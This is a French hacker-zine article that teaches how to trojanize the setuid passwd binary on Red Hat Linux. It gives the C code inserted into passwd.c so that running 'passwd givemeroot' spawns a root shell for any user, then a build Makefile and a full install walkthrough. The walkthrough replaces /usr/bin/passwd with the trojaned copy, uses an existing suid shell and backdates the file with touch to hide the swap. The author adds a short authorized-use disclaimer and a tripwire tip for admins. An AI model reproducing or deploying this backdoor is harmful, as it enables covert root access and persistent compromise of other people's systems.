---------------------------------------------------------------------------------------- XII. Trojanisez vos binaires Neofox ---------------------------------------------------------------------------------------- +++++++++++++++++++++++++++++++++++++++ ++++ Fichier Joint : passwd.tar.gz ++++ +++++++++++++++++++++++++++++++++++++++ [ Introduction ] Nous allons parler d'une petite méthode qui consiste à trojaniser un exécutable de manière à y cacher une backdoor ou de manière plus générale à en détourner le fonctionnement. Vous trouverez cî-joint dans l'archive passwd.tar.gz les sources et le Makefile de la backdoor illustrant cet article. Je vous livre cet outil dans un but purement informatif comme on dit. ++++ | Partie 1 : Jouez avec vos codes source ! | ++++ => Explications => En pratique 1. The pourquoi of the comment : ________________________________ [ Le Principe ] UNIX, et donc Linux, est par définition "OpenSource" ; outre le fait que ce terme fera très bon effet dans une conversation, une conséquence directe sera que vous trouverez tous les codes sources de votre système dans votre distribution. Le principe est relativement simple : vous choisissez un exécutable, suid de pré- férence, puis vous recherchez dans votre distrib le package correspondant. Ouvrez le et commençez à étudier les sources. En fonction de l'allure générale, regardez s'il est possible de rajouter quelques lignes de code supplémentaires, en vue de faire exécuter une action prédéfinie au futur programme, si ce dernier est appelé d'une certaine façon. Modifiez donc le code puis recompilez en tenant compte du Makefile ; si tout s'est bien passé, vous avez à présent le même exécutable qu'au début, si ce n'est qu'il peut désormais exécuter une commande spéciale sur votre ordre. Je dois avouer que c'est un peu confus ; nous allons éclaircir tout ça. [ Et la lumière fut ! quoi que ... ] Imaginez un exécutable qui, appelé avec un certain argument, retourne un shell avec uid/gid 0 ; le programme original doit donc appartenir au root et être suid justement pour pouvoir exécuter des commandes de niveau root, mais tout dépend de ce qu'on attend de lui. Ce ne sera ni plus ni moins qu'une backdoor, à ceci près que la nôtre, bien que très simple de conception, passera inaperçue puisqu'elle sera insérée dans un utilitaire déja existant. Il faut quand même opposer à cela une certaine réserve : je dis "passera inaperçue", mais cela n'est vrai que si la machine à laquelle est destiné le futur programme, ne fait tourner ni tripwire ni aucun vérificateur d'intégrité. Par ailleurs, le fonctionnement du programme de départ ne devra pas en être altéré. C'est le principe même des rootkits que de remplaçer un binaire tel que ps ou netstat, histoire de cacher un port et/ou un processus ; vous pouvez tout aussi bien faire en sorte que le programme trojanisé vous retourne un shell. En fait, de nombreuses possibilités s'offrent à nous avec cette manière de procéder. Cependant, travailler dans cette voie peut paraître inutile, pour des raisons que nous évoquerons un peu plus loin, mais je m'amuse à ça juste pour le plaisir. Trève de discours, passons à la pratique. 2. En pratique : ________________ Ma distrib Redhat par exemple se compose entre autres de 4 CD : les deux premiers contiennent les binaires du système, le troisième contient de la doc et le dernier les sources des binaires en question. Si ce n'est déja fait, allez donc jeter un oeil à votre distrib. [fox@localhost fox]$ mount /mnt/cdrom [fox@localhost fox]$ cd /mnt/cdrom [fox@localhost cdrom]$ cd SRPMS [fox@localhost SRPMS]$ ls -al ... -rw-r--r-- 1 root root 12345 aoû 31 2000 openssl-0.9.src.rpm -rw-r--r-- 1 root root 34567 aoû 31 2000 pam-0.72-26.src.rpm -rw-r--r-- 1 root root 54321 aoû 31 2000 passwd-0.64.1-4.src.rpm -rw-r--r-- 1 root root 22334 aoû 31 2000 pcutils-0.2.1-8.src.rpm ... [fox@localhost SRPMS]$ Bien, nous allons regarder ce que contient le package "passwd-0.64.1-4.src.rpm". [fox@localhost SRPMS]$ cp passwd* /tmp [fox@localhost SRPMS]$ cd /tmp [fox@localhost /tmp]$ umount /mnt/cdrom [fox@localhost /tmp]$ rpm -i passwd-0.64*.src.rpm [fox@localhost /tmp]$ cd /usr/src/redhat/SOURCES [fox@localhost SOURCES]$ ls -ldg passwd* [fox@localhost SOURCES]$ drwxrwxrwx 2 fox fox 4096 aoû 31 2000 passwd-0.64.1 [fox@localhost SOURCES]$ cd passwd* [fox@localhost passwd-0.64.1]$ ls Changelog chfn.1 chsh.1 passwd.1 passwd.pamd pwdb.c pwdstat.c version.h Makefile chfn.c chsh.c passwd.c passwd.spec pwdb.h version.c [fox@localhost passwd-0.64.1]$ Intéressant ... en fait, comme on pouvait s'y attendre, cette archive contenait les sources de l'exécutable "/usr/bin/passwd" ( servant à changer le mot de passe d'un compte), mais aussi les sources de deux autres utilitaires : chfn et chsh ; le premier sert à changer les informations relatives à un compte utilisateur, et le second sert à changer le shell attribué à ce compte. Mais celui qui nous intéresse est bien sûr "passwd". Nous pouvons déjà commencer à étudier le code source passwd.c et réfléchir à une manière de transformer cet exécutable tout ce qu'il y a de plus banal, en une backdoor discrète. ++++ | Partie 2 : Trojaniser "passwd" | ++++ => Etude et modification du source => Installation et démonstration => Quelques Remarques Cette partie sera nettement plus longue que la précédente, aussi je me demande pourquoi avoir organisé l'article de cette manière ; enfin, ayant la flème de tout reprendre, je vous invite à fermer les yeux sur ce très léger détail et à poursuivre votre lecture. 1. Etude et modification du source : ____________________________________ Nous allons examiner le code petit à petit : [fox@localhost passwd-0.64.1]$ more passwd.c #include /* No ?! */ #include ... #include "pwdb.h" On voit que le gars de chez Redhat a crée son petit header perso pour se simplifier la vie ; il faudra en tenir compte, nous verrons ça plus loin. Suivent plusieurs séries de #define, après quoi, le code va commencer à se compliquer ;@). Il n'est pas nécessaire de comprendre tout le code je vous rassure, mais il faut néanmoins saisir le sens général de chaque fonction ; le source est suffisamment clair et bien anoté, donc pas de panique. On tombe sur une première sous-fonction relativement courte, mais qui n'as pas l'air très sympathique, ni exploitable d'ailleurs ; on passe. Nous arrivons ensuite à la fonction qui vas nous occuper un moment : void parse_args(int argc, char *argv[]) Le nom est assez évocateur ; à la première lecture, j'ai pensé qu'il s'agissait d'une fonction servant à gérer les arguments passés au programme sur la ligne de commande ; le main() me donnera raison par la suite. C'est donc cette fonction que nous allons bidouiller. On continue notre lecture de cette dernière, et on arrive ici : /* now, only root can specify an username */ username = NULL; if(extraArgs && etraArgs[0]){ if(getuid()){ /* non root */ fprintf(stderr, "%s: Only root can specify a username\n", progname); exit(-3); } else { username = extraArgs[0]; /* test the username for length */ if (strlen(username) > MAX_USERNAMESIZE){ fprintf(stderr, "%s: The username supplied is to long\n", progname); ext(-3); } } /* ... */ } C'est cette partie précisemment qui nous intéresse. Peut- être avez vous déjà saisi le code, sinon voici quelques explications. Généralement, un programme est appelé ainsi : fox$ ./prog argument1 arguement2 argv[0] argv[1] argv[2] argv[] est donc un tableau de pointeurs, lesquels pointent comme leur nom l'indique vers des données de type char, qui sont ici les arguments passés en ligne de commande. Mais dans notre exemple, nous avons un tablau nommé extraArgs[]; Ce tableau contient lui aussi les arguments passés en ligne de commande, mais de la manière suivante : argv[0] = argv[0] /* = progname */ argv[1] = extraArgs[0] argv[2] = extra Args[1] Pour comprendre pourquoi, il nous faut connaître la syntaxe de "passwd". Je suppose que vous savez déjà comment fonctionne "passwd", mais on va quand même préciser, au cas où : [fox@localhost fox]$ whoami fox [fox@localhost fox]$ passwd Changing password for fox (current) UNIX password: New UNIXpassword : Retype new UNIX password: passwd: all authentication tokens updates successfully [fox@localhost fox]$ passwd toto passwd: Only root can specify a username [fox@localhost fox]$ En tant que simple utilisateur "fox", on ne peut que changer son mot de passe personnel, donc on ne peut pas appeler "passwd" avec argument. Ainis, si l'utilisateur n'est pas root, il faut s'assurer qu'il n'entre aucun argument, c'est à dire que extraArgv[0] soit null. Si uid!=0 et "extraArgs[0] != 0" cela signifie que l'utilisateur n'est pas root et a quand même spécifié un argument, donc message d'erreur et sortie du programme. Ce qui donne : if(extraArgs && extraArgs[0]){ /* si un argument */ if(getuid()){ /* et si pas root */ fprintf(stderr, "%s: Only root can specify a username\n", progname); /* sortie */ exit(-3); } C'est à ce moment là que nous allons intervenir ! [ Quel code insérer ? ] Le binaire /usr/bin/passwd est suid, donc on peut lui faire exécuter nos commandes avec les droits du root. On va faire en sorte que si "passwd" est appelé avec un certain argument, il nous donne uid/gid=0 et exécute un shell. Problème : seul le root peut spécifier un argument ... ben va falloir remodeler tout ça ! Je vous propose ceci : #define MAGIC_STRING "givemeroot" char *shell[2]; ... /* si un argument */ if (extraArgs && extraArgs[0]) { /* et si pas root */ if (getuid()) { /* et si l'argument est "givemeroot" */ if(strstr(argv[1],MAGIC_STRING)!=NULL){ /* alors retourne un shell */ shell[0]="/bin/sh"; shell[1]=NULL; setuid(0); setgid(0); execve(shell[0],shell,NULL); } else { /* sinon, l'argument n'est pas "givemeroot". En tant qu'user */ /* aucun argument n'est autorisé : sortie du programe */ fprintf(stderr, "%s: Only root can specify a username\n", progname); exit(0); } } Voilà, c'était tout bête, mais ça va s'avérer très efficace par la suite. On doit donc recompiler à présent, de manière à obtenir notre nouvel exécutable. Pour cela, il nous faut tenir compte du Makefile, et même créer notre propre Makefile. [ Le Makefile ] Pour que notre outil fonctionne, il faut ajouter lors de la compilation le fichier pwdb.c. Ce dernier contient toute une série de fonctions utilisées par "passwd" pour la gestion des passwords : on trouve entre autres, les fonctions lock_passwd, unlock_passwd et delete_entry, pour vérouiller/dévérouiller un compte et supprimer une entrée. Nous devrons inclure ce fichier à notre future archive. Comme je le précisais un peu plus haut, il faut également inclure le header pwdb.h. Nous allons réécrire le Makefile correspondant à nos besoins : [fox@localhost passwd-0.64.1]$ cat << EOF > Newmakefile CC = gcc LDFLAGS = -ldl -lpam -lpam_misc -lpwdb POPT = -lpopt PROJECT = passwd passwd: passwd.o pwdb.o $(CC) $(LDFLAGS) -o $@ $^ $(POPT) EOF [fox@localhost passwd-0.64.1]$ J'ai repris les options tel qu'elles figuraient dans le Makefile original, sans trop savoir d'ailleurs avec précison la signification de chacune. Bien, nous allons donc créer une nouvelle archive contenant les sources modifiées de notre outil. Nous devons y inclure : o Le Makefile o Le header pwdb.h o Le source pwdb.c indispensable o Le source principal passwd.c [fox@localhost passwd-0.64.1]$ mkdir /home/fox/passwd [fox@localhost passwd-0.64.1]$ mv Newmakefile /home/fox/passwd/Makefile [fox@localhost passwd-0.64.1]$ cp passwd.c /home/fox/passwd [fox@localhost passwd-0.64.1]$ cp pwdb.c /home/fox/passwd [fox@localhost passwd-0.64.1]$ cp pwdb.h /home/fox/passwd [fox@localhost passwd-0.64.1]$ cd [fox@localhost fox]$ cd passwd [fox@localhost passwd]$ ls Makefile passwd.c pwdb.c pwdb.h [fox@localhost passwd]$ cd ../ [fox@localhost fox]$ pwd /home/fox [fox@localhost fox]$ ls passwd passwd [fox@localhost fox]$ tar -c passwd > passwd.tar [fox@localhost fox]$ gzip passwd.tar [fox@localhost fox]$ ls passwd* passwd passwd.tar.gz [fox@localhost fox]$ Et voilà notre nouvelle archive fin prête. Nous allons l'installer et faire une petite démonstration. 2. Installation et Démonstration : __________________________________ [ Attention ] Une fois le nouveau "passwd" compilé, vous devrez l'installer à la place de l'original. Pensez à garder une copie du vrai binaire quelque part. Remplacer un binaire est tout à fait possible et passera inaperçu sur un système ne faisant tourner aucun vérificateur d'intégrité tel que tripwire. Rapellez vous de n'installer et de n'utiliser cet outil que sur votre machine ou sur une machine où vous êtes autorisés à le faire. [ Installation ] Nous supposerons que vous ayez un accès root sur la machine "test", cette dernière étant une redhat ne faisant pas trourner tripwire. Nous supposerons également que vous venez de downloader l'archive passwd.tar.gz qui se trouve maintenant dans /home/user/... [user@test ~/user]$ whoami user [user@test ~/user]$ cd ... [user@test ...]$ ./votre_shell_suid bash# whoami root bash# ls passwd* passwd.tar.gz bash# gzip -cd passwd.tar.gz | tar xvf - passwd/Makefile passwd/passwd.c passwd/pwdb.c passwd/pwdb.h bash# ls passwd* passwd passwd.tar.gz bash# cd passwd bash# ls Makefile passwd.c pwdb.c pwdb.h bash# Bien, compilons et installons ... bash# make gcc -c -o passwd.o passwd.c gcc -c -o pwdb.o pwdb.c gcc -ldl -lpan -lpam_misc -lpwdb -o passwd passwd.o pwdb.o -lpopt bash# ls Makefile passwd passwd.c passwd.o pwdb.c pwdb.h pwdb.o bash# which passwd /usr/bin/passwd bash# ls -al /usr/bin/passwd -r-s--x--x 1 root root 12536 jui 12 2000 /usr/bin/passwd bash# chmod 4511 passwd bash# cp /usr/bin/passwd old_passwd bash# ls Makefile old_passwd passwd passwd.c passwd.o pwdb.c pwdb.h pwdb.o bash# rm /usr/bin/passwd bash# cp passwd /usr/bin bash# ls -al /usr/bin/passwd -r-s--x--x 1 root root 12641 jun 04 2002 /usr/bin/passwd bash# touch -t 200007121111 /usr/bin/passwd bash# ls -al /usr/bin/passwd -r-s--x--x 1 root root 12641 jui 12 2000 /usr/bin/passwd bash# Bien, regardons si passwd fonctionne toujours comme il devrait : [root@test passwd]# exit [user@test ...]$ cd [user@test ~/user]$ [user@test ~/user]$ which passwd /usr/bin/passwd [user@test ~/user]$ passwd Changing password for user (current) UNIX password: New UNIX password: Retype new UNIX password: passwd: all authentication tokens updates successfully [user@test ~/user]$ Le nouvel outil "passwd" fonctionne comme l'original. Testons à présent la backdoor : [user@test ~/user]$ whoami user [user@test ~/user]$ passwd toto passwd: Only root can specify a username [user@test ~/user]$ passwd givemeroot sh-2.04# whoami root sh-2.04# Et voilà notre petite backdoor basique, bien planquée dans un exécutable hors de tout soupçon ! 3. Quelques Remarques : _______________________ o Je ne le répéterai jamais assez, ceci n'est utilisable qu'en l'absence de vérificateur d'intégrité, sinon, non ! voilà, c'est clair ! Admins, faites donc régulièrement appel à tripwire via cron ! o Les sources originales sont celles d'une redhat, et par conséquent, vous ne pourrez utiliser cette backdoor que sur une redhat. Cet outil a été testé avec succès sur ma 7.0 ainsi que sur une 6.1. Il semblerait donc qu'il fonctionne indépendament de la version ; toutefois, si vous notez un problème avec votre distrib, tenez moi au courant en précisant de quelle version il s'agit. [ Conclusion ] Je vous encourage à jeter de temps en temps un coup d'oeil à vos sources, ne serait-ce que par plaisir de lire du code, et tant qu'a faire, de le comprendre =).